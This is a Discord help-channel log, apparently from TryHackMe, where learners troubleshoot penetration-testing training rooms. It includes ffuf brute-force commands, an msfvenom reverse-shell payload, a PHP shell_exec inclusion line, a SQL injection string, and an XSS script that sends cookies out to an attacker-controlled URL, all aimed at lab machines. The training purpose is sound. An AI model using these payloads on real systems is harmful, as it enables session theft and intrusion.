If you manually open that ticket, do you receive the request with your own session cookie ?

[carmine dune]

I'm sure my IP starts with 10.6 and I don't

[shadow echo]

Then maybe try restarting the target machine. If you previously created a ticket with a bad payload the machine might be messed up, at least that's what I encountered. If that also doesn't help, try with the request catcher or attackbox.

[carmine dune]

@shadow echo thanks it worked

[next lance]

Gave +1 Rep to @shadow echo

[feral wasp]

How can I save the output of ffuf to a file?

[modest arch]

ffuf --help
Look under output options.

[feral wasp]

Thanks! -o it is. Should have checked that first.

[next lance]

Gave +1 Rep to @wispy nimbus

[modest arch]

You might want to change the format, as JSON is the default format. For CSV you would add -of csv

[feral wasp]

nice, thank you!

[next lance]

Gave +1 Rep to @wispy nimbus

[feral wasp]

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.93.128/customers/login -fc 200 - running this command to find a valid username/pw. Outputting the file as a .txt. Can't find any valid results there? Sorry, I seem to oversee something here.

[modest arch]

Can you please make first of all sure, valid_usernames.txt is in a valid format - One username per line and nothing else?

[feral wasp]

Mvp! It solved it. Thank you!

[modest arch]

Hi Guys, does anyone know the command's for protocols and servers room for SMTP really annoying me to get the flag

thank you

[amber rapids]

Looks like it wants you to connect via FTP?

Sorry, telnet

Not FTP

[modest arch]

Yes I have telnet to the box and ran the commands helo telnet and also mail from:enter

it's the rcpt to: that it say's syntax error or recipient not found

[amber rapids]

Minute, I'm firing it up

[modest arch]

👍

[amber rapids]

Dude. Look at the message you get as soon as you open the connection.

Read the whole thing.

[modest arch]

OMG I think I need to go eat lol

[amber rapids]

[vivid silo]

ok ngl the file inclusion room

is really freaking cool

👏 to whoever made it

[vernal stream]

huh ...getting stuck in the authentication bypass room's brute force ...pretty sure I'm entering the command right, am getting no errors, but no valid user/pass either.

My valid_usernames.txt looks like this:
admin
ro____
st___
si___
The command I'm running is:
ffuf -w ~/valid_usernames.txt:W1,10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlen
coded" -u http://10.10.52.201/customers/login -fc 200

[shadow echo]

The usernames file should only contain the usernames (1 per line) and nothing else, so no status codes, size etc.

[vernal stream]

@shadow echo I put my exact valid_usernames.txt in the message, only replacing some letters with _ to not spoil

[shadow echo]

Did you create that file manually or did you edit the output file from the previous task?

As then you should create a new file from scratch, so without ffuf and write the usernames manually in it

[vernal stream]

@shadow echo I made the file in nano, just username enter username enter username enter username ^x, but no dice. I eventually just took out the w1 valid_usernames.txt and put in the username myself in the data param manually

[coral radish]

@shadow echo Sorry for the ping, but I think I know what issue some users might be running into, ran into it myself. On a kali VM, when I ran the command, I also was getting no results. When I removed the filter portion of ffuf, I saw that it wasn't checking W1 normally, but instead "stevetW1":

The "t" was curious to me, and when I reopened the file in Nano, I saw that it was exported from Mac format. I went to save it, this time as Dos format (alt+D), and it started working:

So when you verify that they have nothing extra remaining in the file, you might have them open the file up in nano and make sure it's in DOS format

[shadow echo]

Hey 🙂 Right, that's why I'm suggesting them to create a new file from scratch instead of editing the output file of ffuf because of that format issue. 🙂 But thx for pointing that out.

[next lance]

Gave +1 Rep to @coral radish

[feral wasp]

Hey guys, quick question. Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/ if I want to decode that string which is: eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ== on crackstation, I don't get any result.

Ahhh, nevermind. Got it!

[drifting tundra]

Hello all, just a quick question. I'm doing the metasploit exploitation room and it says to exploit one of the target VM's vulnerabilities. I've used the suggested exploit, but I'm wondering how would I know to use this in the real world. Is this trial and error? Or is there a type of scan you could use?

thanks!

[shadow echo]

Well you could for example try nmap scripts, like the vuln category or do a service/version scan on the target and if you get to find the versions of the services looking them up on exploit-db. So just trying a bunch of different exploits might not the best approach.

[carmine dune]

I'm having trouble with Command Injection task 5. It says a split view window should open when you deploy the machine. I did that and it didn't work.

[amber rapids]

Should be a blue button at the top of the room that says "Show Split View"

[carmine dune]

@amber rapids thanks

[next lance]

Gave +1 Rep to @amber rapids

[amber rapids]

[vernal stream]

I'm not entirely certain what the question is asking for in file inclusion task 5's question on lab 6. Wha directory needs to be in the input field? For what?

[shadow echo]

The os-release file contains a version id. So if you manage to get to read the os-release files contents you should be able to find that version id.

[vernal stream]

the question before that. It needs a directory, probably along the lines of the final example in the task, but the only directory I see that fits is a few characters too short

[shadow echo]

Oh, my bad, let me check

[vernal stream]

the directory that makes sense to me is inc......, but that's 8characters, not 11

[shadow echo]

So if you enter any bogus input in the input field, you get a message that you are only allowed to include files from a specific folder.

[vernal stream]

yup, I did that 🙂

the error includes, rather ironically, includes/bogus. so the answer should be that directory but it appears to be 3 characters too short? 🙂

[shadow echo]

You sure you are in lab6 ? As when I enter for example asdad in the input field and press the include button there should be only 1 possible folder to be found for the answer.

[vernal stream]

🤦

I'm looking at lab5

yup. now its as obvious as godzilla on a spring day 🙂 thanks for humoring me 🙂

@shadow echo thanks

[next lance]

Gave +1 Rep to @shadow echo

[vernal stream]

there, forgot to give you the rep 🙂

[turbid folio]

hi all, i'm doing the xss room from and i'm stuck on the DOM-Based XSS. I'm supposed o edit the script to create an alert showing the page cookie. I've tried with the hint and write up and doesn't seem to be working. Not sure what I'm doing wrong. Any help with that?

[vernal stream]

@turbid folio what happens if you try?

[wintry thunder]

I am not very lucky in finding the Directory listing flag, am I just not looking in the right place?

Its just in the Viewing the Page Source one

ah wait had to read things, gonna try one more time

yay figured it out

[brazen rain]

Finally got the vulnerability capstone down! It felt so awesome getting a reverse shell and finding that flag.

[small patio]

In the room Nmap: post port scans, I am unable to solve task 3 using the nmap -O <Machine_IP> command. I get the output as the no exact OS matches for host followed by a TCP/IP fingerprint. Can anybody explain why is this happening? Although I was able to solve the task using the OS detected while running the nmap -sV <Machine_IP> command.

[timber laurel]

Hello Folks,
Spent more than 8 hours to solve the RFI/RCE challenge.

I was exposing the remote php code from my laptop, via python http server, then 'ngrok'ed it. Server was always giving empty reponses. Spent 8 hrs battling this.

Now I copied the code to attackbox and accessed the code hosted in attackbox, the server returned the host name. Solved the problem in 5 mins.

Any idea, why it didn't work with ngrok url given the code is same?

Code Sample: ||<?php echo shell_exec("ls -l /etc/hosts"); ?>||
URLs:
http://7257-2409-4072-10c-ac09-9180-xxxx-xxxx-xxxx.ngrok.io/check.php -- Didn't work
http://10.10.xx.xx:8000/check.php -- Worked

[idle bison]

Targets don't have internet access

[timber laurel]

In that case why it returned 200 ok response?

[shadow echo]

Are you doing that task from your own machine or the attackbox ?

[muted gate]

Hi, I have problems with the room "Vulnerability Capstone". I have tried different exploits but at the end I get the same reaction none.

Python Script used is in the picture

I tried it with this command but did not get any response.
┌──(kali㉿kali)-[~/thm/VulnerabilityCapstone]
└─$ python 47138.py
cmd:"whoami"

[brazen rain]

I had the same problem. Try using the fuel cms exploit that is in the /usr/share/exploits/vulnerabilitiescapstone file path

Should be called exploit.py

[turbid folio]

nothing happens.. it kinda ignores the command being inserted. The javascript event is not triggered

[queen wedge]

what are the credentials for the machine in Windows Privesc room?

it just says NOTE: The machine attached to this task is the same as the one used in task 4.

but there are no credentials in task 4 either

[amber rapids]

user:password321 ?

[queen wedge]

am I doing something wrong?

[amber rapids]

I wasn't sure that was right, it was kind of a guess.

[queen wedge]

found the same user/pass in setup script but it's not working and the credentials aren't specified in the room

of course this happens when I get to windows machines 😄

[shadow echo]

Are you talking about that room? https://tryhackme.com/room/winprivesc
As if yes, the credentials are in some of the upcoming tasks, I guess they just forgot to put them in the first few.

Username: user
Password: Password1

[queen wedge]

It's in task5 instead of task 4 -.-

@shadow echo tnx 🙂

[drifting cargo]

Just finished this path. Pretty good stuff and it was a great refresher on basics!

[carmine dune]

I'm stuck on the challenge at the end of file inclusion

I have my web server running but it's not connecting

I run http://10.10.140.24/playground.php?file=http://<my ip>/cmd.txt but it doesn't work

[carmine dune]

ok it just randomly worked

[signal oak]

hello

in the SSRF room at the end we do a directory traversal by redirecting to x/../private

why x though ?

why not just ../private

[golden sinew]

Hai guys ... anyone familliar with the "Poor Man's Pentest" by john Hammond.
The thing is I was trying to add the scripts to my path to make them s/m commands .... (to avoid using./name everytime). But its not working ... i mean ... i have added the path but i can find that commends. ?

[queen wedge]

x/../private != ../private
x/../private == /private

you go into x, go back up one directory and then enter private - so it's a way to bypass restricted access to /private I guess, don't remember the exercise.

[signal oak]

ok I see

what’s x ?

[queen wedge]

any allowed dir

lets say a filter looks if you are going to /private or not

if you do x/../private you can fool it for example

[signal oak]

ok so there has to be an x folder

[queen wedge]

yep, the allowed one

[signal oak]

alright thank you, they don’t mention the x folder whatsoever

[queen wedge]

too late to open the room now 😄 Is the chapter about bypasses?

I kinda interpreted stuff from the question

[signal oak]

yes it’s about bypassing a deny list rule

[queen wedge]

yep that's it then

you get into the allowed one - that's x to just go up and into the denied one

[signal oak]

to my understanding /private is just anything that’s private right ? they don’t specify what it is

[queen wedge]

exactly

x - allowed
private - denied

[signal oak]

it’s called x and private just for the sake of the exemple right ?

[queen wedge]

yep

[signal oak]

just to be sure

ok thank you

[queen wedge]

np 🙂

happy hacking 🙂

[signal oak]

thanks you too 😎

[vivid raft]

Hi im on the windows priv esc room task 2

I'm a bit confused on how I can connect to the room

[queen wedge]

it's in task5..user/Password1

[silk bolt]

typos in nmap01-Task3:

range: 10.11.12.15-20 will scan 6 IP addresses: 10.11.12.15, 10.11.12.13.16,… and 10.11.12.13.20.
(the last 2 are not valid IP addresses (5 octets).

(If you don’t want Nmap to the DNS server, you can add -n.)
missing word (e.g.): ...Nmap to [contact] the DNS server...

[vale sand]

Hello, I am working on the BurpSuite module (Decoding) part. I am unable to copy one of the keys into the Decoder module in Burp suite. Is there a workaround for this?

[shadow echo]

Why would you be unable to do so ?

[vale sand]

I have downloaded the key files and copied one of them from the terminal and when I right click on the decoder module in Burp, no option shows up?

I have searched online and apparently some versions of Burp limits copying and pasting both in-and-out from Burp

I am not sure if this is the reason?

[shadow echo]

What about pressing CTRL+V ?

[vale sand]

Didn't work

[shadow echo]

Are you using the attackbox or your local machine for burp ?

[vale sand]

attackbox

[shadow echo]

And where did you download the key files? On the attackbox or your local machine ?

[vale sand]

on the attackbox

That was the instruction if you are using the attackbox. Download by using wget

[shadow echo]

If you create a new file on the attackbox, can you even paste the key files in that new file? As somewhat that sounds as you didn't even copied the key file contents in the first place

[vale sand]

I have copied the key value. I have tested it by creating a test file and copying it to the file

[shadow echo]

Mh, I mean I can try if it's working for me. Which key file did you copy ?

[vale sand]

AlteredKeys.zip

[shadow echo]

No, which of the keys inside that file did you copy ?

[vale sand]

key1

I didn't try other key files

[shadow echo]

Just tried it myself on the attackbox and it works just fine.

[vale sand]

turned it off and on again and it's working now... not sure what the issue was

[bright juniper]

hi all...are there any coupon available for premium subscription?

[drifting cargo]

Doubt it but there’s a student discount.

[pearl drum]

does taking the THM Junior penetration tester path would be enough to pass the eJPT? thanks

[drifting cargo]

It’s good prep but I’d do the PTS course in addition to this path.

[rare rune]

Hello guys, hope everyone is having a good afternoon. Currently doing the File Inclusion and I am stuck on the first question of challenge 8. I've changed the request from GET to POST already and setup the parameter correctly but not sure why it doesn't work. I was going to upload the screenshot here but it's not letting me.

I changed the request from get to POST and setup the parameter as file=../../../../etc/flag1

Hint: Change the form method to POST in the page source or use a tool like Burp to modify the method of the request POST.

[shadow echo]

Solved it meanwhile ?

[rare rune]

Yeah I did

Used curl instead and for some reason it worked

was using burpsuite

[shadow echo]

Most probably because you were missing a specific header, as you probably captured the initial request as a GET request in Burp. And curl adds this header on it's own when specifying to do a POST request 🙂

[brazen rain]

Stuck on linux privesc etc/crontab

how do I get to the file so I can change it?

[shadow echo]

Get to what file ?

[brazen rain]

to the backup file

[shadow echo]

Change to the directory it's in ? To /home/karen ? I'm not quite sure if I fully understand what you mean

[brazen rain]

Im not sure I do either. Im lost as hell

[shadow echo]

So if you enter pwd, what`s the output you get ?

[brazen rain]

I can get to home/karen

but when I cat backup.sh. It goes "cd/home/admin/1/2/3/Results

[shadow echo]

Could you answer my question 🙂 ?

[brazen rain]

/home/karen

[shadow echo]

Okay, so you are already in the right folder. You know what cat is doing, yes ?

[brazen rain]

yes, it usually prints (concacenates)

[shadow echo]

Right, because I was a bit confused that you said "It goes "cd/home/admin/1/2/3/Results" " so all you have to do is changing the file contents of backup.sh as shown in the task

[brazen rain]

In the walkthrough for the module when they cat, the backup.sh comes up. I haven't seen anything yet where it cats a file path (that I cant navigate to) and a zip.

[shadow echo]

That are the original contents of that file, if you scroll a bit further down you can see to what they changed the backup.sh to

[brazen rain]

yes i understand that. I dont know how to reach the file I cat so that I can change it.

[shadow echo]

You are already in the same directory as the file (/home/karen) so just use an editor like nano or vim, or just echo the new file contents into backup.sh ?

[brazen rain]

light bulb*

I was overthinking this. I just need to put my script in place of what backup.sh currently is and save it. Wow.

[shadow echo]

Right 🙂

[brazen rain]

Thanks for your help! And thanks for your patience.

[novel nest]

can I ask someone about this room, I'm stuck on task5.

[shadow echo]

Always ask your question straight away 😉

[novel nest]

idk how to slove this task

[shadow echo]

So you got a meterpreter session on the target machine already?

[novel nest]

Yes

[shadow echo]

Well that doesn't look like a meterpreter session, but then you just background the session with ctrl + z and then search for a hashdump module in msfconsole. If you found such a module, use it, set the session to the session number that you have in the background and run it

[novel nest]

Can I dm u?

[shadow echo]

I would prefer to write here, so others could help as well

[novel nest]

I try all "hashdump"

But it's not working.

[shadow echo]

Well then you might have to get a meterpreter session on the target machine rather then a normal shell.

So try to run the initial exploit to gain a session again, but this time pick a meterpreter payload

[novel nest]

I use payload

But it's not working.

[shadow echo]

That's not a meterpreter payload. Search for "meterpreter"

[novel nest]

That's right?

[shadow echo]

Yes

[novel nest]

It's still not working.

[shadow echo]

Maybe restart the target machine, you ran that exploit quite often now, so maybe the machine is messed up somehow. Or in case the payload that previously worked is still working now, you could get a normal shell and then use the "shell_to_meterpreter" module to upgrade your basic shell

[novel nest]

It's work now. Thank you.

[hexed violet]

Hello,
I'm currently going through the last challenge of the Linux Privesc and the find command seems to just not work?

I tried restarting the machine a few times and have noticed this problem in other challenges/machines.

Has anyone else had this issue before?

[shadow echo]

How do you know there should even be something with SUID or SGID set ?

[hexed violet]

Well from the previous tutorials, it's always nice to check and see if there is a suid/sgid bit set

[shadow echo]

Sure, it's fine to check. But you said there is a problem/not working because it's not returning any results ?

[hexed violet]

Yes, there are no results.
It just waits a bit and returns nothing.

I'd like to not use any script (at least keep it as a last resort)

It seems the '2>/dev/null' does not work

[shadow echo]

It seems you used 04000 instead of -04000

[hexed violet]

Thanks, it works

[next lance]

Gave +1 Rep to @shadow echo

[heavy merlin]

i've been banging my head on a tryhackme room task where I need to compile a C program to gain root access and it is not getting executed in the target machine having an error of 'exec format error'. Ended up I have compiled the program using ARM but the target is using x86-64 hence it is not working. Cons of using M1 chip macbook for pentesting, used the attackbox to workaround on this one. all good ❤️

[sage current]

you might be able to compile the exploit on the target machine too sometimes

[pearl sage]

Currently working on the Authentication Bypass Room (Brute Force Section), and am not getting the "username/password" output from the command provided in the questions. Instead my output is :: Progress: [40/400] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors:: Progress: [195/400] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Error:: Progress: [348/400] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Error:: Progress: [400/400] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Error:: Progress: [400/400] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

The terminal is also in the same directory as valid_usernames.txt

[modest arch]

if you run the command below (capture1.png) it will return you this in the text document (capture.PNG) but you need to use this wordlist after, so i create an other .txt with nano Capture3.png and use this new wordlist with just the username and not the otherthings, and the command to find username/password worked

or maybe there is an other way to better save the username after the first command 😉

[pearl sage]

Right, I think I am in the next step. I already saved the output of ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.74.234/customers/signup -mr "username already exists" to a .txt file. Next step requires using that .txt file to brute force the password

[modest arch]

Yes but look at the file you save? What is in the file?

Because when I use it, the file contain name and other things and It didn't work. But by created a new file with just the username, and use this file in the command, everything worked

[pearl sage]

Oh I see

[modest arch]

Sorry I'm French so my English is not very good ^^

[pearl sage]

No worries, let me try that

[modest arch]

Yes tell me if it's works

[pearl sage]

Okay so the error I am running up against basically lies in the output that is put into the .txt file

When I was editing in Nano, it somehow would erase or not read anything except for "Steve". So I basically created a new text file called "valid_usernames.txt" and just wrote the 4 usernames in and used that file to brute force and it worked

[barren lintel]

can someone help me understand ffuf. I know what it's doing but i don't understand the output

what is this "size" thing all about with ffuf

[modest arch]

Really nice, I did the same! Good job

[idle bison]

The length of the response? Not sure where you're looking

Length of the response is a quick metric for whether the response is different. It's worth remembering you could have the same length response with a different response but it's not that likely. Length is fast.

[amber hound]

Hi everyone, I need some help in the Metasploit: Exploitation room.
I'm doing the msfvenom part and I have the following problem:
I generated the Payload via:
msfvenom -p linux / x86 / meterpreter / reverse_tcp LHOST = 10.10.X.X LPORT = XXXX -f elf> rev_shell.elf
After that, I imported it into the target and did:
chmod + x rev_shell.elf.

In the meantime in the attacking machine I have started exploit/multi/handler and set the same LHOST and LPORT of the generated payload.

Once the payload has been executed in the target I am returned the error:

"Segmentation fault (core dumped)"
I can't find a solution, can you help me?

[idle bison]

Don't use >
Use -o for output file.

@merry night this is still an error in the room, only two characters need changing

[modest arch]

You did not mention if you set the payload of the handler!?

It should be identical to the one uploaded.

[exotic lava]

Is the submit button broke in the File Inclusion room for Task 4 Question 1 Lab #1 I submitted question 2 but I do not even get an error message for number 1

Just submitted it on my phone just wasn’t working when trying to submit on the computer

[exotic lava]

Can I suggest for Task #6 - Question 2 in File Inclusion that the answer format be changed to match what is displayed instead of _ for answer format make - or is it supposed to be misleading? Took me a minute to figure out why the answer was not working.

[trim pasture]

anyone know why on the auth bypass room ffuf isnt returning an output for the username/pass question

copied the provided command and just changed the file paths to match where my files are

[exotic lava]

Which task are you on? @trim pasture

[restive patrol]

Can somebody explain like I'm 5 why on steel mountain I can put a exe in the file system one directory up from the program exe under a different name than the program exe and it still executes my exe when it restarts

[sage current]

oh god where are your parents... why are you on the internet without parental control...

[restive patrol]

Services starting exe's with random names make me want to go back to being 5

[idle bison]

Do you want the short answer or the detailed answer?

[restive patrol]

Whichever you feel

I should probably just run through a windows priv esc room

[idle bison]

Right, time for the short answer and ask more questions if you need

So ok, you've got a command "C:\Program Files\test file.exe"

[restive patrol]

Okay

[idle bison]

Is that a program called "C:\Program" with the arguments " Files\test file.exe"?
Is it "C:\Program Files\test file.exe" with no args?
Is it "C:\Program Files\test" with arg of "file.exe"?

Windows is bad at understanding this, it's something called unquoted service paths

Or more generally unquoted search paths, but in this case it's the path for a service

[restive patrol]

Okay I get it now

That's wild that they allow spaces like that

Thank you for that

[idle bison]

The fix is quoted paths, but people are lazy and the Windows API is broken leading to bad code

[restive patrol]

They have a space in Advanced Care so the exe can be Advanced.exe in the folder above "Advanced Care"

That's kinda funny honestly

Thank you so much for that @idle bison

[next lance]

Gave +1 Rep to @idle bison

[idle bison]

https://www.ired.team/offensive-security/privilege-escalation/unquoted-service-paths

[restive patrol]

Lol so literally any unqoted path in "Program Files" is exploitable

Wild

[idle bison]

Except you have to be able to drop files in the right place for it to be exploitable. You can't drop files in C:\Program unless you're admin. You also can't create new files in C:\Program Files unless you're admin (by default).

[restive patrol]

Dang. Dreams crushed

[steep drum]

Anyone have a list or pdf of all the options to add after a command and their functions/when to use them? I am referring to the options such as -sC, -Sv, -u, and etc.... I am little lost of when to use them and how to use them effectively. Nor can I find a list of them

[daring turtle]

.

[signal oak]

hello

in the SQLi room in the Blind SQLi - Boolean Based section there is a {"taken":true/false} API that tells us whether the username is taken or not

we then use this API to check if something exists in the DB by checking if the value is true

for instance with admin123' UNION SELECT 1,2,3 where database() like '%';-- the value of taken is true so we know we have a result from the query

but I don't understand how the API works, like why does it give us true when there's a result for the query?

is it because when used normally it's simply supposed to check if there's en entry in the DB with the username that we've input ? so when using UNION it checks for any result from the whole query and not just the username part right?

[steady wyvern]

maybe it just checks if the query returns anything

if not, it will return false

[signal oak]

ok that's what I thought I wanted to be sure that it's not something more complex than that

thank you

[signal oak]

you can use the man command followed by the command you want to know more about

sometimes the command you want to use followed by --help can give you some info

[modest arch]

Besides what @signal oak mentioned, you can use duckduckgo.com and search for <name_of_app> cheat sheet. DuckDuckGo has an extra tab for cheat sheets.

[pearl drum]

thanks

[next lance]

Gave +1 Rep to @drifting cargo

[idle bison]

That's what the manuals are for

[sage current]

the man command in linux gives you a manual page for the command name that you provide (example man nmap will give you the manual page for nmap) which is really useful and lists all the parameters/flags/options you can supply and what they do... from there you should be able to understand on your own when they are useful to use

if that is not good enough you are probably looking to see other peoples notes on the commands and stuff

which some people claim is very private information and might not want to share

[steep drum]

Understandable, thank you all for the responses and help

[sage current]

no problem

[neat rock]

hallow i am doing subdomain enumeration and i am stuck with this kind of error when i run ffuf command state /usr/share/worlists/ so on so forth

any help please

am using kali in my browser

[drifting cargo]

What error?

[neat rock]

state /usr/share/worlists/ this is the error it displays in the terminal

[drifting cargo]

Share a screenshot. It looks like you misspelled “wordlists”

[barren lintel]

if you're trying to do the seclists with your own kali

i had to install it

[twin geyser]

any clue why im having this error?

[idle bison]

-p takes one argument, a port

It needs to directly follow the -p flag

[twin geyser]

thanks ❤️

[barren lintel]

what FUZZIng tools do you like and why? I've never heard of FFUF till taking the THM courses. I have heard of and seen most of the youtubers use gobuster. I was suprised to see FFUF being MUCH faster than gobuster which is why i'm asking the question. Am i just not using gobuster correctly

[neat rock]

when i fuzz directory it gives me process error any one who can help me up

[barren lintel]

can you share your code and what the error is

[neat rock]

i cant send the screenshoot

will send you privately just accpent me

[shadow echo]

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[shadow echo]

Verify and you are able to send screenshots 🙂

And just as a suggestion, read the #rules to not get in trouble with a mod 😄

[valid cloak]

in metasploit:exploitation rom at task 5 i getting " Exploit completed, but no session was created" this message

anyone know why i am getting this message

[shadow echo]

Check your options and maybe post a screen of those in here

[valid cloak]

okay

here is my screenshot

[shadow echo]

Maybe try to enter the IP as the LHOST option rather then the interface name. Also maybe run ip a s and check if you only have a tun0 interface or any extra like tun1, tun2 etc.

Beside that, this exploit could fail several times, so maybe try to run it again 1 - 2 times and in case it's still not working restart the target machine. If all of that still doesn't solve the issue we can go from there

[valid cloak]

i have tried several time and getting same error message

however, i found that there is a tun1 exist in my system

[shadow echo]

Okay then that most probably causes the issue. Run sudo killall openvpn then connect to the vpn again, wait a minute and run ip a s again to make sure you only got a tun0 interface

[valid cloak]

now i got only tun0

[shadow echo]

Alright, then try the exploit again, if it's still not working restart the target machine

[valid cloak]

after restarting target machine i am getting this "[-] The target is not vulnerable." message

[neat rock]

i have error on Authentication Bypass jr pentest path way brute force especialy in this room i try to post screen shoot but it is not a allowing me

any can help m,e up

[shadow echo]

Did you wait a good couple of minutes to make sure the target machine is fully booted?

[shadow echo]

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[shadow echo]

You have to verify first in order to be able to send screenshots

[neat rock]

thank you

[next lance]

Gave +1 Rep to @shadow echo

[valid cloak]

thank you, and i got my meterpreter shell

[next lance]

Gave +1 Rep to @shadow echo

[valid cloak]

@shadow echo what I need to do to get NTLM hash after hash dump

[shadow echo]

Get the right part which is the hash. The delimiter is :

[valid cloak]

done

[exotic lava]

I am on Task 8 Practical Example (Blind xss), I cannot figure out what ip/url to use in the support ticket.

</textarea><script>fetch(‘http://{URL_OR_IP}?cookie=‘ + btoa(document.cookie) );</script>

[shadow echo]

The IP of your attacking machine, so the machine where you want to capture the request that has the session cookie. Or as the URL that the request catcher provides you, as you can also capture the request there.

[exotic lava]

So it would be like this

</textarea><script>fetch('http://http://10.10.10.100/12799ebdff1f5576ca9d1a010b696557.log.tryhackme.tech?cookie=' + btoa(document.cookie) );</script>

[shadow echo]

Basically yes, but not 2 times http://http://

[exotic lava]

is there a / after 10.10.10.100 to connect the 12799.......

got it

damn that took a minute to figure out, thank you for the guidance @shadow echo

[next lance]

Gave +1 Rep to @shadow echo

[shadow echo]

So you captured the request, right ? As I don't think the request catcher starts with 10.10.10.100 🙂 Or does it?

[neat rock]

where do i find discord token i need to join the chanell

[shadow echo]

I think I already sent you the link for the guide, but here you have it again: https://help.tryhackme.com/community/discord

[neat rock]

i tried multiple way such us finding my token from developer tool i send it to the bot i can't upload any thing yet

how long does it take to me to be accepted

[shadow echo]

From the developer tools ? Did you not read the guide I sent you? You'll find the token on your tryhackme profile page

[neat rock]

i read the token i got from developer tool in chrome i gave it

so i cant share any screen shot with the folks

how long does it take to me to be approved that token

[shadow echo]

If you tried to send a token that you got from the developer tools then you are most certainly doing it wrong. I can only suggest you read the guide on how to verify again. https://help.tryhackme.com/community/discord

[exotic lava]

Yes and it did start with that ip 😎

[shadow echo]

Oh okay, then my bad

[neat rock]

In number 2 for what you send to me it describes my token can be found in my profile especially other section I don't see other section token found their
So what I did i google further and got the can be found
In chrome,developertool,application what I got their I send it to the bot I don't see any approval yet

[shadow echo]

Go to that link: https://tryhackme.com/profile on top of that page there should be the "other" tab

[neat rock]

It has fixed

Thank you bro

[upper cave]

hey guys, i learned the basics of dicovery tools as "gobuster" and got curious about the detection of these "tools". Is it possible to retrace them, as a website provider? sorry if this question sounds dumb, i am new to this :))

[idle bison]

Yep. Super easy

They send lots and lots of requests, to directories that don't exist.

Even just the volume of traffic is detectable

[upper cave]

interesting, do the requests get "saved" in a form? or do they temporary expire?

[idle bison]

Logs

[upper cave]

so every request send to a website,database etc.. are saved in logs permanently, is that right? 🙂

[livid goblet]

Permanently isn't exactly right as assigned log space is finite but yeah the log file contains the records until they are overwritten

[upper cave]

thanks, very helpful community

[ocean glen]

hello guys, is it good to go straight to pentest+ without taking security+?

[jaunty pilot]

-d “username=FUZZ&email=x&password=x&cpassword=x”

can someone explain me, what does cpassword=x does here

[shadow echo]

Maybe that's just the parameter for the "confirm password" input field? Just a guess.

[jaunty pilot]

oh now that u mention it, mybad i was thinking it was for a login field but it was a signup field

@shadow echo thanks

[next lance]

Gave +1 Rep to @shadow echo

[plain stirrup]

i am new so i have to start from here?

[delicate tide]

#start-here

[neat rock]

do you have any background of it

[plain stirrup]

No i just saw this discord server and it seemed intresting

[plain stirrup]

Kk ty

[neat rock]

go to complete beginner in tryhackme.com

[neat rock]

the picture i send to you is where you can start you will learn their 1 linux 2 networking so on so forth

[plain stirrup]

Ohkk ty

[next lance]

Gave +1 Rep to @neat rock

[neat rock]

guys i come across to this issue when i press enter nothing happen so need help this (Authentication Bypass) room especially login brute force

[neat rock]

you welcome happy journey bro

[drifting cargo]

Why do you have a question mark in your username list path?

"/Passwords?Common-Credentials/"

[neat rock]

i double check but now it gives me valid-txt is not in the path when i double check it in-deed it is not their where do i get this file the picture i in touch with will show you the error

such file is not existing where can i find it

[neat rock]

i tried to cut that valid_username.txt and it is not found in the directory also it is not found /usr/share/wordlists/SecLists

no buddy

[modest arch]

There are at least two more mistakes in that syntax... Look into flag -X and then how you used " @neat rock

[neat rock]

i use locate command it gave me nothing

loacte cmd displayed nothing

the file valid_usernames.txt is not existing

[idle bison]

That'll mean you didn't create it then

I'd recommend going back to the part where you form that wordlist

[neat rock]

this is the cmd i use

[neat rock]

if i create the file where do i get names

do i type it manually

[idle bison]

You generate it from one of the previous commands. You need to go back to that step.

[neat rock]

like steve,simon,etc

the step of username unumaration

i am doing authentication bypass under jr pentest path way

[neat rock]

i created my own file of valid usernames the progress come up with nothing

any one with keen guide

[idle bison]

No...
Go back to the part where you enumerate usernames

[keen spruce]

I don't see 'FUZZ' anywhere in the command

[jaunty pilot]

the FUZZ there is W1 & W2

[warm crypt]

Back to junior pentest grind

On the SQL injection task, been useful so far. 👍

[rapid dew]

Task 2 - Username Enumeration, the last part asks you to create the valid_usernames.txt with the results of this task. Once you have it created in the directory you are in. The second task should provide results.

[humble grove]

can i get little help

[jaunty pilot]

The PHP $_REQUEST variable is an array that contains data received from the query string and POST data. If the same key name is used for both the query string and POST data, the application logic for this variable favours POST data fields rather than the query string, so if we add another parameter to the POST form, we can control where the password reset email gets delivered.

can someone explain me a bit more about it

i get it we're adding another parameter to POST form and it's controlling the delivery of password reset email

but i don't get it please explain

[valid cloak]

currently I am practicing at Metasploit: Exploitation room

but i have got stuck on task 6 msfvenom to gain a reverse shell

whenever I run my uploaded shell on the victim machine , it show me "segmentation fault" message

does anyone know why this is happening?

[shadow echo]

Make sure you are using the exact same payload for your handler(listener) as you used to generate the executable with msfvenom

[modest arch]

Guys i am new and i wanna learn hacking what should i do

#start-here @modest arch

[drifting cargo]

Pre-security path

[valid cloak]

done, thank you @shadow echo

[next lance]

Gave +1 Rep to @shadow echo

[exotic lava]

Why does the Blind SQLi Level two task not work I did it once it worked got to the next one and those steps wouldn’t work re did it and now level two is not working when I enter the exact command nothing happens even when I was doing the first one it only showed the last results of the tables

[barren lintel]

can someone please explain what the diffrence is between sudo apt-get install xxxxx vs sudo apt install xxxxx

[idle bison]

The base program there is apt vs apt-get
I'd recommend researching the difference between them

[barren lintel]

one of the things i like about THM is the no "try harder" mentality. Tha tmentality while later in the journy i can see being helpful but not at my current point.

can someone help me out here

